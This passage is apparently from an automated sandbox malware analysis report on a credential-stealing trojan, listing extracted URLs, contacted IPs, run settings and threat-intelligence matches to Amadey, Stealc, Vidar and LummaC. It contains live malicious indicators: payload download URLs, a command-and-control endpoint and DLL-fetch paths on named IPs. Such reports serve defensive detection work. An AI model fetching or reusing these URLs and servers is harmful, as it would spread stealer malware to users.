https://sb.scorecardresearch.com/b?rn=1732540483020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=331C9059D5CC671123A1851BD4CD6669&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540489862&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.16/mine/random.exe	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	false		high
http://31.41.244.11//Zu7JuNko/index.phph	skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://ntp.msn.com/0	000003.log9.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phprograms	file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe5062384y	skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false		high
https://www.last.fm/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
http://31.41.244.11/files/random.exe1	skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json0.8.dr	false		high
https://www.youtube.com	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
http://31.41.244.11/	skotes.exe, 0000001A.00000002.3326670265.00000000010AF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
https://www.instagram.com	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2609368530.0000000000CD7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://www.messenger.com	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllA	file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dll3	file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://i.y.qq.com/n2/m/index.html	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://www.deezer.com/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll_	file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://web.telegram.org/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpsk	file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.206o	file.exe, 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://vibe.naver.com/today	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2383633685.00000000239B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr, KKKJKEBK.0.dr, Web Data.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phppuE	file.exe, 00000000.00000002.2637623479.0000000023A1F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2293032553.0000000001392000.00000004.00000020.00020000.00000000.sdmp, IDGHDGID.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dllm	file.exe, 00000000.00000002.2610315504.0000000001338000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		high
https://www.tiktok.com/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	IDGIJEGHDAECAKECAFCAKFCGDA.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2637623479.0000000023A0E000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false		high
https://msn.comXIDv10	Cookies.9.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001A.00000002.3326670265.000000000109B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://y.music.163.com/m/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://bard.google.com/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllL	file.exe, 00000000.00000002.2610315504.0000000001355000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://web.whatsapp.com	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://m.kugou.com/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://www.office.com	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpa	file.exe, 00000000.00000002.2610315504.0000000001376000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/0/	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JKKFIIEBKEGIEBFIJKFI.0.dr	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	f13f7ab5-7378-4946-9381-5bb6a1bbbb53.tmp.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	s-part-0012.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.200.88.17	unknown	United States	16625	AKAMAI-ASUS	false
23.219.82.98	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
40.79.167.8	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.117.182.27	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
52.123.243.184	mira-tmc.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.57.90.161	unknown	United States	35994	AKAMAI-ASUS	false
18.165.220.57	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.164.116.98	unknown	United States	3	MIT-GATEWAYSUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562336
Start date and time:	2024-11-25 14:13:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@72/292@22/25
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.46, 74.125.205.84, 199.232.214.172, 34.104.35.123, 172.217.17.42, 172.217.19.202, 172.217.19.234, 172.217.17.74, 142.250.181.106, 142.250.181.138, 216.58.208.234, 142.250.181.74, 172.217.21.42, 172.217.21.35, 192.229.221.95, 131.253.33.203, 13.107.21.239, 204.79.197.239, 13.107.6.158, 172.165.69.228, 2.16.158.72, 2.16.158.80, 2.16.158.50, 2.16.158.81, 2.16.158.91, 2.16.158.74, 2.16.158.75, 2.16.158.96, 2.16.158.58, 23.32.239.56, 23.32.239.18, 2.19.198.17, 23.32.239.58, 23.207.210.149, 23.207.210.137, 23.207.210.154, 23.207.210.156, 23.207.210.153, 23.207.210.144, 23.207.210.136, 23.207.210.148, 23.207.210.152, 2.16.158.48, 2.16.158.40, 2.16.158.43, 2.16.158.35, 13.74.129.1, 204.79.197.237, 13.107.21.237, 204.79.197.203, 13.87.96.169, 178.79.238.0, 199.232.210.172, 2.16.158.82, 2.16.158.88, 2.16.158.90, 2.16.158.83, 142.251.40.163, 142.251.32.99, 142.250.80.35, 4.153.29.52, 142.250.65.163
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, www.gstatic.com, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, mira.config.skype.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, a-0003.dc-msedge.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.
Execution Graph export aborted for target DocumentsBKKKFCFIIJ.exe, PID 8992 because it is empty
Execution Graph export aborted for target skotes.exe, PID 5600 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5912 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:14:34	API Interceptor	165x Sleep call for process: file.exe modified
08:16:01	API Interceptor	65x Sleep call for process: skotes.exe modified
14:14:58	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mira-tmc.tm-4.office.com	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.184
	https://1drv.ms/o/c/1ba8fd2bd98c98a8/EmMMbLWVyqxBh9Z6zxri2ZUBVkwUpSiY2KbvhupkdaFzGA?e=F6pNlD	Get hash	malicious	Unknown	Browse	52.123.243.66
	Invoice PSI-3102.msg	Get hash	malicious	Unknown	Browse	52.123.243.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.123.243.180
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	52.123.243.66
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.123.243.216
	Invoice.msg	Get hash	malicious	Unknown	Browse	52.123.243.71
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.68
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	52.123.243.195
	20Listen.eml	Get hash	malicious	HTMLPhisher	Browse	52.123.243.192
chrome.cloudflare-dns.com	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
s-part-0012.t-0009.t-msedge.net	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://www.cognitoforms.com/f/fWhXKikFUk-rIZ2zs1gjVw/1	Get hash	malicious	Unknown	Browse	13.107.246.40
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.40
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.40
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.40
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.40
	http://iglawfirm.com/services/antai-fr/	Get hash	malicious	Unknown	Browse	13.107.246.40
	http://sales-agreement-carpal-relative.s3.amazonaws.com/payout/completed/SEKTJGJFFJlfkdjklm4GHKHKYKFLFL/onedrive.html	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://blackearthpavement-my.sharepoint.com/:f:/p/justin/Ers-Js2n9AROj9DUuizyNWABOVK5z1CJ653Ryc0SphjDRg?e=3ZQaIF	Get hash	malicious	Unknown	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
MICROSOFT-CORP-MSN-AS-BLOCKUS	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	13.107.246.63
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse	13.70.79.200
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
MICROSOFT-CORP-MSN-AS-BLOCKUS	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	13.107.246.63
	Vendor Agreement Ready for Your Signature November 22 2024 at 084923 PM.msg	Get hash	malicious	HTMLPhisher	Browse	13.70.79.200
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	lcc333.exe	Get hash	malicious	Unknown	Browse	20.2.154.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	204.79.197.203
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	New Purchase Order Document for PO1136908 000 SE.exe	Get hash	malicious	AgentTesla	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	https://docsend.com/view/ygpcsdciay42c22x	Get hash	malicious	Unknown	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	https://go.jrwcap.com/e/955053/230645595232154/6xyvj/710994189/h/-dwcgo8Jrn520ILsDDgocWZSKLzmmTijUb6c_giV2KA	Get hash	malicious	Phisher	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	https://www.e-serviceparts.info/landingpages/cce21bb4-48dd-49da-9e48-d89a21f56454/RtynoRElk6VQIiohoauuXaUdv9Gb4EPJBf3UQg9_Um4	Get hash	malicious	HTMLPhisher	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	https://protect-us.mimecast.com/s/N4SFCv2zvkHW7wOAuzlFYe	Get hash	malicious	Unknown	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147
	http://taerendil.free.fr/Kzf20FukxrNV0r0Xw3	Get hash	malicious	Unknown	Browse	23.52.182.8 172.202.163.200 13.107.246.63 20.190.177.147

Dropped Files

